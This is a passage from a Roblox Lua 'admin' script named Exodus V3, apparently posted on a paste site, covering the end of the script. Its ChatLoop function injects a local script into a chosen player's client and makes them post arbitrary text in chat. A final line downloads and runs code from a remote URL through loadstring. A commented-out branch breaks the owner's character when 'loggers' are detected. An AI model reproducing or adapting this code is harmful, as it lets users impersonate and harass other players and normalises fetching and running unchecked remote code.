  2270. function ChatLoop(who,loop,txt)
  2271. LS(who,[[
  2272. for i = 1,]]..loop..[[,1 do wait()
  2273. plrbb = game:service'Players'.LocalPlayer
  2274. for i,v in pairs(plrbb.PlayerGui:children()) do if v.Name=='SB_Chat' then
  2275. v.Name='Chat' end end
  2276.  
  2277. tb = game:service'Players'.LocalPlayer.PlayerGui:WaitForChild('Chat').DestroyGuardFrame.Frame.ChatBarParentFrame.Frame.BoxFrame.Frame.ChatBar
  2278. tb:CaptureFocus()
  2279. tb.Text="]]..txt..[["
  2280. tb:ReleaseFocus(13)
  2281. for i,v in pairs(plrbb.PlayerGui:children()) do if v.Name=='Chat' then
  2282. v.Name='SB_Chat' end end end
  2283. ]])
  2284. end
  2285.  
  2286. function Chat(who,msg)
  2287. ChatLoop(who,1,msg);
  2288. end
  2289.  
  2290. loadstring(http:GetAsync(cmds_http))()
  2291. MusicCommands()
  2292. OtherCommands()
  2293. TabCommands()
  2294. DiscordGetMessages()
  2295. warn'Exodus V3 has loaded.'
  2296.  
  2297. end))
  2298. --[[else
  2299. print("You cannot use this admin at this place due to loggers.")
  2300. owner.Character.Humanoid.HipHeight=0/0
  2301. end]]
  2302. end))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement